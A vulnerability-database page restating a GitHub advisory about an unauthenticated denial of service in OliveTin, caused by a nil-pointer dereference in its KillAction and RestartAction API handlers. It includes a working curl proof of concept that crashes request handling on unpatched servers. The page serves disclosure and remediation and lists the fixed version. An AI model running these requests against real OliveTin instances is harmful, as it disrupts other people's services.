Read the docs
TI-2026-66331 Aliases GHSA-fwhj-785h-43hh

OliveTin has crash on NPE by calling APIs with invalid bindings or log references

Priority LOW 38CWE-20Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Denial of service
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-476.

Summary

### Summary An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification. ### Details The issue is caused by this flow: 1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor: - `service/internal/api/api.go:239` 2. Executor stores a log entry before binding validation: - `service/internal/executor/executor.go:519` 3. If binding is nil, execution stops, but the log entry remains: - `service/internal/executor/executor.go:781` 4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`: - `service/internal/api/api.go:79` 5. `RestartAction` has the same unsafe dereference: - `service/internal/api/api.go:1285` Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated. ### PoC Environment: - OliveTin default single frontend on `http://localhost:1337` - Reproduced on `main` (commit `235493e`) and tag `3000.11.0` 1) Create orphan tracking ID with invalid action: ```bash T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \ -H 'Content-Type: application/json' \ --data '{"actionId":"does-not-exist"}' \ | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p') echo "$T" 2. Trigger panic in RestartAction: curl -v -X POST http://localhost:1337/api/RestartAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}" 3. Trigger panic in KillAction: curl -v -X POST http://localhost:1337/api/KillAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}" Observed client output: - curl: (52) Empty reply from server Observed server log: - panic serving ... runtime error: invalid memory address or nil pointer dereference - stack points to: - service/internal/api/api.go:79 (KillAction) - service/internal/api/api.go:1285 (RestartAction) ``` ### Impact This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.

Why it matters now

Fix Fixed github.com/OliveTin/OliveTin (Go): 0.0.0-20260304225158-bb14c5da3e64

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—github.com/OliveTin/OliveTin (Go)before 0.0.0-20260304225158-bb14c5da3e640.0.0-20260304225158-bb14c5da3e64Patch availableGHSA-fwhj-785h-43hh
  • github.com/OliveTin/OliveTin (Go) Vendor— Affected before 0.0.0-20260304225158-bb14c5da3e64 Fixed in 0.0.0-20260304225158-bb14c5da3e64 Patch available GHSA-fwhj-785h-43hh

Remediation

  • Fix · GHSA-fwhj-785h-43hh github.com/OliveTin/OliveTin (Go) Fixed in 0.0.0-20260304225158-bb14c5da3e64 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-fwhj-785h-43hh

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences